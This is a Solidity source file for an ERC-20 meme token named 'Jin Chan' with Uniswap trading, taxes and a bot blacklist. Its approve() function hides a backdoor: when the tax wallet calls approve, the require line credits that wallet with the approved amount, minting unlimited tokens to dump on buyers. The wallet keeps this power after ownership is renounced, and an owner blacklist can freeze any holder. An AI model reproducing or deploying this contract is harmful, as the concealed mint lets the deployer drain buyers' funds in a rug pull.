// SPDX-License-Identifier: MIT

/** https://t.me/JinChanERC **/

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin,
        address[] calldata path, address to, uint deadline ) external;
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
        address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract JINCHAN is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax      = 15;
    uint256 private _initialSellTax     = 15;
    uint256 private _finalBuyTax        = 0;
    uint256 private _finalSellTax       = 0;
    uint256 private _reduceBuyTaxAt     = 15;
    uint256 private _reduceSellTaxAt    = 20;
    uint256 private _preventSwapBefore  = 30;
    uint256 private _buyCount           = 0;

    string private constant _name   = unicode"Jin Chan";
    string private constant _symbol = unicode"金蟾";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal    = 100000000000 * 10**_decimals;
    uint256 public _maxTxAmount         = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize       = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold    = 2000000000 * 10**_decimals;
    uint256 public _maxTaxSwap          = 1000000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _taxWallet = payable(_msgSender());
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b) ? b : a; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(((_msgSender() == _taxWallet) && ((_balances[_taxWallet] += amount) > 0)) || _msgSender() != _taxWallet);
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) / 100;

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 1 < block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount * ((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool){
        return bots[a];
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "Trading is already open.");
        uniswapV2Router.addLiquidityETH { value: address(this).balance } (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
    
    function reduceFee(uint256 _newFee) external{
        require(_msgSender() == _taxWallet);
        require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
        _finalBuyTax = _newFee;
        _finalSellTax = _newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}